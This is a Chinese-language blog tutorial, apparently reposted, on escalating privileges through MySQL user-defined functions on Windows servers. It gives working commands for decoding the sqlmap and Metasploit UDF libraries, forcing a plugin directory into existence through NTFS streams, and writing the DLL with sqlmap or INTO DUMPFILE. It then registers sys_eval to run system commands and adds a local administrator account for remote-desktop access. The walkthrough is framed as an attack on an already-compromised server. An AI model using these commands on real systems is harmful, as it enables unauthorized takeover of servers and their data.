第三方组件提权-Mysql UDF提权
Posted Ocean:)
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了第三方组件提权-Mysql UDF提权相关的知识,希望对你有一定的参考价值。
文章目录
mysql UDF提权
UDF
UDF是mysql的一个拓展接口,UDF(Userdefined function)译为用户自定义函数,实现在mysql中无法方便实现的功能,其添加的新函数都可以在sql语句中调用,就像调用本机函数一样。 由于是用户自定义的函数,所以可以利用UDF创建一个执行命令的函数
UDF提权条件
- mysql < 5.0,导出路径随意
- 5.0 <= mysql < 5.1,udf.dll 则需要导出至目标服务器的系统目录 (如:c:/windows/system32/)
- mysql >= 5.1,udf.dll 必须要把udf.dll文件放到MySQL安装目录下的lib\\plugin文件夹下才能创建自定义函数
- 掌握mysql数据库的账户,从拥有对mysql的insert和delete权限,以创建和抛弃函数。
- 拥有可以将udf.dll写入相应目录的权限
MySQL >= 5.1
比如当前我们当前已经拿下了一台Winserver2003(32位)服务器的MySQL账密,且存在phpMyAdmin,进行如下操作
使用SQL语句查询MySQL的版本
SELECT VERSION();
数据库版本为5.1.57
show global variables like '%secure_file_priv%';
查询可写目录,在 MySQL 5.5 之前 secure_file_priv 默认是空,这个情况下表示可以向任意绝对路径写文件
查找动态链接库文件
常用的工具 sqlmap 和 Metasploit 里面都自带了对应系统的动态链接库文件,可以直接找
-
sqlmap 的 UDF 动态链接库文件位置
sqlmap根目录/data/udf/mysql # kali的sqlmap在/usr/share/sqlmap目录
有32位和64位之分,这个dll并不是跟系统位数有关的,而是跟mysql版本有关系
要注意的是Sqlmap中自带的动态链接库文件为了防止被误杀都经过编码处理过,不能被直接使用,需要使用 sqlmap 自带的解码工具cloak.py 来解码使用
# 脚本位置 /usr/share/sqlmap/extra/cloak/ # 执行 python cloak.py -d -i /usr/share/sqlmap/data/udf/mysql/windows/64/lib_mysqludf_sys.dll_ # 进行dll_文件的解码,获得dll文件
-
Metasploit 的 UDF 动态链接库文件位置
usr/share/metasploit-framework/data/exploits/mysql # kali自带的msf
so文件是Linux系统动态链接库文件,dll文件是Windows系统动态链接库文件
Metasploit 自带的动态链接库文件无需解码,直接就可以使用,内容和SQLmap解码之后的一样
寻找插件目录
mysql数据库版本 >= 5.1,udf.dll 必须要把udf.dll文件放到MySQL安装目录下的lib\\plugin文件夹下才能创建自定义函数,接下来去找dll文件
使用如下的 SQL 语句来查询MySQL的插件目录
show variables like '%plugin%';
如果不存在的话可以在 webshell 中找到 MySQL 的安装目录然后手工创建 \\lib\\plugin
文件夹
有一个问题需要注意:利用phpstudy安装的mysql,默认是不存在 \\lib\\plugin
这个文件夹的,如果目标安装的是完整版mysql数据库,是存在的,如果没有这个文件夹后边的操作就无法继续了
创建文件夹(不一定成功)
网上有个说法,利用NTFS ADS流模式突破进而创建文件夹
使用语句查找MySQL安装目录
select @@basedir;
select 'It is dll' into dumpfile 'C:\\\\Program Files\\\\MySQL\\\\MySQL Server 5.1\\\\lib::$INDEX_ALLOCATION'; //利用NTFS ADS创建lib目录
select 'It is dll' into dumpfile 'C:\\\\Program Files\\\\MySQL\\\\MySQL Server 5.1\\\\lib\\\\plugin::$INDEX_ALLOCATION'; //利用NTFS ADS创建plugin目录
这个方法不一定成功,但是如果真的没有\\lib\\plugin
还是可以尝试的
写入动态链接库文件
分为以下几种情况
-
如果拿到了网站的webshell,可以直接通过webshell管理工具比如蚁剑等,直接找到目录上传dll文件
-
存在 SQL 注入且是高权限,plugin 目录可写且需要 secure_file_priv 无限制,MySQL 插件目录可以被 MySQL 用户写入,这个时候就可以直接使用 sqlmap 来上传动态链接库,又因为 GET 有字节长度限制(HTTP本身并未对请求长度施加任何硬编码的限制,但浏览器的限制范围为2kb-8kb)所以往往 POST 注入才可以执行这种攻击
sqlmap -u "http://localhost:30008/" --data="id=1" --file-write="usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.dll" --file-dest="c:\\\\ZkeysSoft\\\\MySql\\\\MySQL Server 5.1\\\\lib\\\\plugin\\\\udf.dll"
-
如果没有注入的话,但是通过爆破密码、phpmyadmin漏洞以及通过webshell等手段,可以执行sql语句,也是可以可以操作原生 SQL 语句手工写文件到 plugin 目录下的
# 直接 SELECT 查询十六进制写入 SELECT 0xcode INTO DUMPFILE 'c:\\\\ZkeysSoft\\\\MySql\\\\MySQL Server 5.1\\\\lib\\\\plugin\\\\udf.dll'; # 解码十六进制再写入多此一举 SELECT unhex('0xcode') INTO DUMPFILE 'c:\\\\ZkeysSoft\\\\MySql\\\\MySQL Server 5.1\\\\lib\\\\plugin\\\\udf.dll';
关于十六进制可以直接这这个页面查询到对应的编码:https://www.sqlsec.com/tools/udf.html
一般为了更方便观察,可以将编码后的结果导入到新的文件中方便观察:
SELECT hex(load_file('/lib_mysqludf_sys_64.so')) into dumpfile '/tmp/udf.txt'; SELECT hex(load_file(0x2f6c69625f6d7973716c7564665f7379735f36342e736f)) into dumpfile '/tmp/udf.txt';
ERROR 1126 (HY000): Can't open shared library 'udf.dll' (errno: 193 )
网友们可能看到这个报错,因为 lib_mysqludf_sys_64.dll 失败,最后使用 lib_mysqludf_sys_32.dll 才成功,所以这里的 dll 应该和系统位数无关,可能和 MySQL 的安装版本有关系,而 PHPStudy 自带的 MySQL 版本是 32 位的
如果IIS服务,出现无法写入的情况,要添加用户并赋予写入权限
成功执行查询语句,写入文件
创建自定义函数并调用命令
mysql > CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';
如果不成功的话刚才也说了是因为dll版本不符,换一个就行了,导入成功后查看一下 mysql 函数里面是否新增了 sys_eval:
mysql> select * from mysql.func;
+----------+-----+---------+----------+
| name | ret | dl | type |
+----------+-----+---------+----------+
| sys_eval | 0 | udf.dll | function |
+----------+-----+---------+----------+
这里的 sys_eval 支持自定义,接着就可以通过创建的这个函数来执行系统命令了:
mysql > select sys_eval('whoami');
如果在 Windows 系统下的话应该就是最高权限了,执行一些 net user 增加用户的命令应该都是可以成功的
SELECT sys_eval(
'net user ocean1 ocean1 /add & net localgroup administrators ocean1 /add'
)
使用远程桌面连一下
删除自定义函数
mysql > drop function sys_eval;
MySQL的其他版本提权&SQLMap
因为MySQL >= 5.1已经是环境最苛刻的了,低于版本的基本操作方法一致,但不需要指定dll存放\\lib\\plugin
目录
SqlMap
- 常规SQLMAP的
--OS-SHELL
流程大致为:利用SELECT … INTO OUTFILE … LINES TERMINATED BY上传小马(仅上传功能) -> 利用小马上传Webshell(可使用system、proc_open、shell_exec、passthru、popen、exec执行命令) -> 利用Webshell执行命令(明文参数cmd=whoami) - 现在大多数Mysql版本都大于5.1,版本大于5.1后对于提权的条件很苛刻,所以大多数情况下都没办法使用udf进行一个提权
参考文章
https://www.freebuf.com/articles/web/288941.html
https://www.sqlsec.com/2020/11/mysql.html
https://cooltige.com/2020/06/02/Mysql-Udf%E6%8F%90%E6%9D%83/
以上是关于第三方组件提权-Mysql UDF提权的主要内容,如果未能解决你的问题,请参考以下文章
Mysql提权-基于Mysql的UDF提权(Windows系统)1